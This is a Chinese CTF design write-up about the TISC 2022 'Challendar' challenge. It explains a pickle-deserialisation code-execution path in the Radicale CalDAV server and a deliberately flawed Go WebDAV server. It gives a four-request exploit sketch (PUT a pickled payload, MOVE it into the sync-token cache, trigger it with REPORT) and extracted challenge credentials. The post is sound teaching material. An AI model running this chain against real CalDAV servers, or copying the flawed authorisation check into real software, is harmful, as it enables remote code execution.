从CalDAV协议到反序列化漏洞:打造TISC 2022 CTF挑战的深度技术解析

Challendar: 为TISC 2022创建CTF挑战

虽然我不主动参加CTF比赛,但我喜欢创建CTF挑战,因为这迫使我在实践中学习。创建一个好的CTF挑战是一门艺术,而不是科学。作为去年3万美元The InfoSecurity Challenge(TISC)的获胜者,我决定今年贡献一个挑战。

你可以在我的GitHub上查看这个挑战。

设计原则 🔗

教育性:根据我的经验,一些最好的CTF挑战是那些能教你东西的挑战。无论是一个有趣的加密协议还是奇怪的内容安全策略处理,学习新东西总是让所有的时间和痛苦变得值得。我的挑战围绕CalDAV协议设计,这是一个研究不足的WEBDAV超集(本身是HTTP的超集),从默认的iOS日历到物联网设备都在使用。在DEF CON 30上,我介绍了iCalendar文件格式,但没有披露我对相应通信协议的其他研究。

真实性:最终,所有CTF挑战都应用了一定程度的人为设计,但我尝试通过使用真实的开源代码尽可能保持真实。此外,我尝试确保利用向量是逻辑的,并最终可以向大多数人解释。我想通过代码审查重现Web漏洞研究的日常经验。

透明性:黑盒挑战往往依赖“通过 obscurity 增加难度”,这可能会令人沮丧。我构建了一个白盒挑战,所有相关代码都对参与者可用。

挑战性:Web往往是CTF挑战中最简单的类别之一,因为Web漏洞是众所周知的且相当容易利用。我希望能为TISC打破这个假设。尽管参与者拥有源代码,但我强迫他们通过阅读RFC并希望构建独特的有效载荷来走得更远。

最后,也是最重要的,我希望挑战是…优雅的。

没有暴力破解。没有猜测。没有盲目利用。
还有一个反向shell。

几乎漏洞 🔗

漏洞研究中最痛苦的部分之一是发现一个潜在的利用,却意识到由于清理、验证或某种转换,从攻击者控制的输入到漏洞代码的路径被阻塞了。这些几乎漏洞诱人地悬在够不到的地方,让你夜不能寐。

Radicale(最流行的开源CalDAV服务器之一)中存在一个几乎漏洞(也称为“非漏洞”)。CalDAV服务器的主要工作是处理iCalendar文件。为此,它使用POST、PUT、DELETE等HTTP方法以及CalDAV/WebDAV特定方法,如MKCALENDAR、REPORT、PROPFIND、MOVE、COPY来读写这些文件。每个iCalendar文件集合在存储中表示为一个文件夹,对应一个用户或日历。

除了iCalendar文件,Radicale还依赖标准库pickle来存储日历元数据,如历史记录在序列化的pickle文件中。这是一个众所周知的代码执行向量,因为当函数调用pickle.load()反序列化pickle时,它也会调用存储在pickle文件中的类的__reduce__函数,攻击者可以轻松修改该函数。

Radicale在三个不同的位置使用pickle.load(),其中之一是storage/multifilesystem/sync.py:

class CollectionPartSync(CollectionPartCache, CollectionPartHistory,
                         CollectionBase):
    def sync(self, old_token: str = "") -> Tuple[str, Iterable[str]]:
        # ...
        if old_token_name:
            # load the old token state
            old_token_path = os.path.join(token_folder, old_token_name)
            try:
                # Race: Another process might have deleted the file.
                with open(old_token_path, "rb") as f:
                    old_state = pickle.load(f)

为了到达这行代码,服务器必须调用CollectionPartSync类中的sync方法。这个调用发生在app/report.py中:

def xml_report(base_prefix: str, path: str, xml_request: Optional[ET.Element],
               collection: storage.BaseCollection, encoding: str,
               unlock_storage_fn: Callable[[], None]
               ) -> Tuple[int, ET.Element]:
    """Read and answer REPORT requests.

    Read rfc3253-3.6 for info.

    """
    # ...
    elif root.tag == xmlutils.make_clark("D:sync-collection"):
        old_sync_token_element = root.find(
            xmlutils.make_clark("D:sync-token"))
        old_sync_token = ""
        if old_sync_token_element is not None and old_sync_token_element.text:
            old_sync_token = old_sync_token_element.text.strip()
        logger.debug("Client provided sync token: %r", old_sync_token)
        try:
            sync_token, names = collection.sync(old_sync_token)

因此,通过发送一个REPORT请求,其XML正文包含D:sync-collection作为根元素以及一个D:sync-token子元素,Radicale将到达易受攻击的unpickle函数。回顾storage/multifilesystem/sync.py,我们看到sync-token值必须满足更多条件:

class CollectionPartSync(CollectionPartCache, CollectionPartHistory,
                         CollectionBase):
    def sync(self, old_token: str = "") -> Tuple[str, Iterable[str]]:
        # ...
        def check_token_name(token_name: str) -> bool:
            if len(token_name) != 64:
                return False
            for c in token_name:
                if c not in "0123456789abcdef":
                    return False
            return True

        old_token_name = ""
        if old_token:
            # Extract the token name from the sync token
            if not old_token.startswith("http://radicale.org/ns/sync/"):
                raise ValueError("Malformed token: %r" % old_token)
            old_token_name = old_token[len("http://radicale.org/ns/sync/"):]
            if not check_token_name(old_token_name):
                raise ValueError("Malformed token: %r" % old_token)

这些是基于字符串的相当简单的检查(http://radicale.org/ns/sync/<64个字符长的小写十六进制字符串>)。然而,另一个问题在于服务器读取pickle文件的路径:

        token_folder = os.path.join(self._filesystem_path,
                                    ".Radicale.cache", "sync-token")
        token_path = os.path.join(token_folder, token_name)
        old_state = {}
        if old_token_name:
            # load the old token state
            old_token_path = os.path.join(token_folder, old_token_name)
            try:
                # Race: Another process might have deleted the file.
                with open(old_token_path, "rb") as f:
                    old_state = pickle.load(f)

文件必须存在于///.Radicale.cache/sync-token/。起初,这似乎是可写的,因为用户可以使用PUT方法写入其集合中的任何位置。不幸的是,Radicale采用了多种清理和验证方法来避免这种情况:

def sanitize_path(path: str) -> str:
    """Make path absolute with leading slash to prevent access to other data.

    Preserve potential trailing slash.

    """
    trailing_slash = "/" if path.endswith("/") else ""
    path = posixpath.normpath(path)
    new_path = "/"
    for part in path.split("/"):
        if not is_safe_path_component(part):
            continue
        new_path = posixpath.join(new_path, part)
    trailing_slash = "" if new_path.endswith("/") else trailing_slash
    return new_path + trailing_slash


def is_safe_path_component(path: str) -> bool:
    """Check if path is a single component of a path.

    Check that the path is safe to join too.

    """
    return bool(path) and "/" not in path and path not in (".", "..")


def is_safe_filesystem_path_component(path: str) -> bool:
    """Check if path is a single component of a local and posix filesystem
       path.

    Check that the path is safe to join too.

    """
    return (
        bool(path) and not os.path.splitdrive(path)[0] and
        (sys.platform != "win32" or ":" not in path) and  # Block NTFS-ADS
        not os.path.split(path)[0] and path not in (os.curdir, os.pardir) and
        not path.startswith(".") and not path.endswith("~") and
        is_safe_path_component(path))

特别是,所有与写相关的方法都对每个路径段调用is_safe_filesystem_path_component,它检查not path.startswith(“.”),从而阻止对.Radicale.cache文件夹的写入。可悲!

借助朋友的一点帮助 🔗

幸运的是,这是一个CTF挑战,所以我可以创建一个场景来使这个几乎漏洞可利用。为了保持CalDAV主题,我基于Golang扩展标准库golang.org/x/net/webdav编写了一个“beta”CalDAV服务器。我编造了一个故事,说一个茫然的开发人员试图通过使用与Radicale服务器相同的根集合文件夹来构建一个向后兼容的Radicale替代品。我还添加了与Radicale相同的授权检查,但排除了关键的not path.startswith(“.”)检查。

func checkIsAuthorized(req *http.Request) error {
	// should already be authorized
	username, _, _ := req.BasicAuth()
	urlParts := strings.Split(req.URL.Path, "/")
	// users can only access their own resources
	if username != urlParts[1] || len(urlParts) > 4 {
		return ErrNotExist
	}
	return nil
}

func main() {
	// Backward-compatible with with our current Radicale files
	passwords, _ := ParseHtpasswdFile("/etc/radicale/users")
	fs := &webdav.Handler{
		FileSystem: webdav.Dir("/var/lib/radicale/collections/collection-root"),
		LockSystem: webdav.NewMemLS(),
	}

	http.HandleFunc("/", func(w http.ResponseWriter, req *http.Request) {
		username, password, ok := req.BasicAuth()
		if !ok {
			w.Header().Set("WWW-Authenticate", `Basic realm="CalDavServer - Password Required"`)
			w.WriteHeader(http.StatusUnauthorized)
			return
		}

		err := bcrypt.CompareHashAndPassword([]byte(passwords[username]), []byte(password))
		if err != nil {
			http.Error(w, "Access to the requested resource forbidden.", http.StatusUnauthorized)
			return
		}

		err = checkIsAuthorized(req)
		if err != nil {
			http.Error(w, "Access to the requested resource forbidden.", http.StatusUnauthorized)
			return
		}

		switch req.Method {
		// To update to CalDAV RFC... been taking too many coffee breaks
		case "PROPFIND", "PROPPATCH", "MKCALENDAR", "MKCOL", "REPORT":
			http.Error(w, "Method not implemented.", http.StatusNotImplemented)
			return
		}

		fs.ServeHTTP(w, req)
	})
	http.ListenAndServe(":4000", nil)

}

不幸的是,这个懒惰的开发人员甚至还没有编写CalDAV特定的方法!然而,他们创建了一个简单的授权检查,也不经意地阻止了直接写入///.Radicale.cache/sync-token/。要做到这一点,他们需要发送一个PUT ///.Radicale.cache/sync-token/请求,这将超过4个URL路径段并失败checkIsAuthorized。

然而,并非一切都失去了。WebDAV还支持COPY和MOVE方法,这些方法将文件移动到Destination头中指定的位置,而不是请求路径。因此,攻击者可以先写入///,然后复制/移动到最终的有效载荷目的地。

总的来说,解决方案只需要4个Web请求即可实现RCE:

# generate sync-token folder
session.request("REPORT", RADICALE_URL+"/"+USERNAME+"/default", data=generate_sync_token)

# upload payload
session.put(DEV_SERVER_URL+"/"+USERNAME+"/payload", data=pickle.dumps(RCE()))

# move payload
session.request("MOVE", DEV_SERVER_URL+"/"+USERNAME+"/payload", headers={"Destination":DEV_SERVER_URL+"/"+USERNAME+"/default/.Radicale.cache/sync-token/"+SYNC_TOKEN_NAME})

# execute payload
session.request("REPORT", RADICALE_URL+"/"+USERNAME+"/default", data=execute_payload)

事情分崩离析 🔗

基本场景工作后,我充实了挑战的其余部分。为了向参与者提供日历凭据和URL,我创建了一个简单的Thunderbird备份,该备份同步到Radicale和开发日历服务器。这更多地是为了传递信息,而不是提出任何挑战;像firepwd这样的工具可以轻松提取这些信息:

participant@ctf:~/firepwd$ python3 firepwd.py -d backup/
decrypting login/password pairs
http://calendarserver:<PORT OF RADICALE SERVER>:b'jrarj',b'H3110fr13nD'
http://calendarserver:<PORT OF DEVELOPMENT SERVER>:b'jrarj',b'H3110fr13nD'

Radicale和开发日历服务器在不同的端口上运行。参与者可以轻松识别Radicale服务器,因为默认情况下Radicale的索引重定向到/.web,返回消息Radicale works!。从那里,他们可以在GitHub上查找Radicale的源代码。挑战向参与者提供了开发日历的源代码,不需要任何识别。

就这样,我把它全部打包在一个简单的Dockerfile中,并发送进行游戏测试!

# Challendar

## Introduction

PALINDROME suffers from Not Invented Here symdrome. They assigned an intern to build a replacement for their current calendar server! Luckily we managed to intercept their backups. Can you break in?

## Files

`caldavserver.go`
`backup.zip`

虽然反馈很好,但我发现有一些非预期的解决方案。还记得Radicale在三个不同位置使用pickle.load()吗?除了storage/multifilesystem/sync.py,它们还出现在storage/multifilesystem/cache.py和storage/multifilesystem/history.py中。事实证明,在写入用于其他两种方法的文件后,攻击者可以通过简单地发出GET请求到相应的日历项来触发有效载荷。Radicale会尝试加载项的缓存和历史记录,反序列化pickle文件。我想限制参与者使用sync.py代码路径,因为它要求他们使用REPORT方法并制作一个通过所有验证检查的XML正文。

但我如何阻止这些非预期的解决方案?我可以更改Radicale的源代码,但这会影响透明设计原则,并使参与者困惑他们是否真的在处理Radicale服务器。我还可以在开发日历代码中阻止写入特定文件夹,例如.Radicale.cache,用于MOVE和COPY,但这会太明显。

在辩论了几个变通方案后,我最终妥协了一点,设置了一个nginx反向代理,位于Radicale服务器前面。这个nginx实例阻止了GET方法以及其他几个方法(以免明显我只想阻止GET),借口是它正在开发中:

        location /radicale/ {
            if ($request_method ~ ^(GET|PATCH|TRACE)$ ) {
                return 405 "Method temporarily disabled during development";
            }

            if ($request_method ~ ^(MOVE|DELETE|PROPPATCH|PUT|MKCALENDAR|COPY|POST)$ ) {
                return 403 "Read-only access during development";
            }
                 
            proxy_pass        http://localhost:5232/;
            proxy_set_header  X-Script-Name /radicale;
            proxy_set_header  X-Forwarded-For $proxy_add_x_forwarded_for;
            proxy_set_header  Host $http_host;
            proxy_pass_header Authorization;
        }

虽然这是一个削弱透明设计原则的痛苦决定,但我希望影响有限,因为参与者可以轻松枚举哪些方法被阻止。

这一变化也使其更具挑战性。由于方法被阻止,参与者无法使用CalDAV客户端浏览Radicale服务器。相反,他们必须手动制作PROPFIND请求(最好将Depth头设置为infinity)来检索用户的可写日历。

对于这个挑战,那是jrarj/default。

游戏测试中出现的另一个问题是可能的破坏或解决方案泄露,因为参与者创建的文件对其他人可见。如果参与者获得RCE,他们将作为root运行,允许他们覆盖任何文件。为了防止这种情况,我使用了一个radicale受限用户和一个以1分钟间隔运行的清理脚本。

每个人都有计划,直到他们被一拳打在嘴上 🔗

任何组织过CTF的人都会理解准确估计挑战难度是多么困难。虽然我最初估计挑战大约需要6小时,但游戏测试后估计需要大约1-2天。然而,在实际比赛中,在第一个参与者到达我的挑战7天多后,没有人解决它。由于TISC要求参与者解决我的第7级挑战才能进入奖金挑战,我开始与组织者合作发布提示。总共在几天内发布了3个提示。

  1. 将此视为代码审查挑战。我们还提供了其中一台服务器的反向代理配置。:这是为了通过提供nginx配置来消除任何进一步的歧义。此时,挑战的所有相关代码都对参与者可用。第一句话还指导参与者避免猜测并使用白盒方法。

  2. 你可以在RFC中(PROP)FIND你需要的东西。2. 对可能性开放(源)你的思维。3. 看看你可以使用的其他HTTP方法。:这是为了引导参与者关注替代的CalDAV方法以及Radicale代码。

  3. 两台服务器住在同一个地方。为什么?也许你需要一台服务器的帮助来利用另一台。瞄准代码执行。如果一个太小而无法做任何事情,仔细看看更大的代码库:这是为了大大缩小参与者的搜索空间以找到漏洞。TISC接近尾声,我希望参与者能赢得一些奖金!

在第三个提示之后,第一个参与者在第二天解决了它,其他人很快也解决了。

由于长时间的延迟,我担心我的挑战设计出乎意料地需要猜测或已损坏。我定期检查解决方案是否有效。幸运的是,在TISC结束后,我收到了良好的反馈,称挑战是“那种好的卡住”,因为解决方案的路径是有意义的。然而,我希望我能更多地调整设计以避免需要提示。

设计挑战还显示了游戏测试和平衡各种设计原则的重要性。平衡挑战性和透明性需要一些妥协,但也迫使我构建了一个更优雅(在我看来!)的挑战。

最终,我希望参与者能学到一些关于无处不在但遗留标准的有用知识。此外,我希望他们能深入了解代码审查的过程。祝贺获胜者!
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
公众号二维码
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值